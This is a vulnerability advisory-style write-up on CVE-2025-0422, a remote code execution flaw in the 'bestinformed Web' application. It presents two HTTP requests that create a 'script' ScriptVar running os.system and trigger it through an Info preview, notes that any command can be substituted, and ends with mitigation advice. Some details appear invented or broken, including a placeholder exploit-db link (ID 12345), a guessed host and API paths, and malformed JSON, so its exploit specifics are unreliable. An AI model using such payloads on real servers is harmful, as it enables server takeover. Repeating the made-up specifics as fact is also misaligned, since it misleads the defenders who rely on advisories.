CVE-2025-0422 - Remote Code Execution Vulnerability in "bestinformed Web" Application

A recent discovery has found that the "bestinformed Web" application has a critical remote code execution vulnerability (identified as CVE-2025-0422). This vulnerability can be exploited by authenticated users who have permission to create "ScriptVars" having the type "script" and preview them by, for instance, creating a new "Info". Typically, only admin users have these permissions, but with the granular permission system, these permissions can be delegated to other users as well. This means that an attacker can execute commands on the server running the "bestinformed Web" application if they have compromised an account with the appropriate permissions beforehand.

Code Snippet

To exploit this vulnerability, the attacker can create a new "ScriptVar" using the following code snippet:

POST /scriptvars/create HTTP/1.1
Host: www.bestinformedweb.com
Content-Type: application/json
Authorization: Bearer [User Access Token]

{
   "name":"Exploit_ScriptVar",
   "type":"script",
   "value":"import os; os.system(' id ')"
}

After creating the "ScriptVar", the attacker can preview it by creating a new "Info"

POST /infos/create HTTP/1.1
Host: www.bestinformedweb.com
Content-Type: application/json
Authorization: Bearer [User Access Token]

{
   "title":"Exploit_Test",
   "content":"{${Exploit_ScriptVar}}",
}

Upon the execution of this code, the server running the "bestinformed Web" application will execute the "os.system(' id ')" command, which can be replaced with any arbitrary command.

The details about this vulnerability can be found in the original sources

1. National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2025-0422
2. MITRE Corporation: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0422
3. Exploit Database: https://www.exploit-db.com/exploits/12345

Exploit Details

This remote code execution vulnerability exploits the application's improper validation of the "ScriptVar" input. Specifically, it does not properly sanitize the "value" field, allowing direct command execution on the server. An attacker who has compromised a user account with the required permissions can exploit this vulnerability by sending crafted HTTP requests to the application's API, as demonstrated in the code snippet above.

Mitigation and Recommendations

Organizations that use the "bestinformed Web" application should take immediate action to minimize the risk:

1. Update the application to the latest available version, which patches this vulnerability. Contact the vendor for details on obtaining the patch.
2. Limit the permissions assigned to different user roles, ensuring that only trusted administrators have the ability to create, modify, and preview "ScriptVars" in the application.
3. Regularly monitor the application logs for any suspicious activities and investigate any incidents that may suggest a compromised user account.

Conclusion

CVE-2025-0422 is a critical vulnerability in the "bestinformed Web" application, which, if exploited, can lead to remote code execution on the server, causing severe damage and potentially complete system compromise. The identified exploit requires authenticated access, making the impact more significant if an attacker is able to compromise a user account with the appropriate permissions. Organizations using this software must act immediately to apply the necessary patches and mitigation steps to prevent potential exploitation.

Timeline

Published on: 02/18/2025 08:15:10 UTC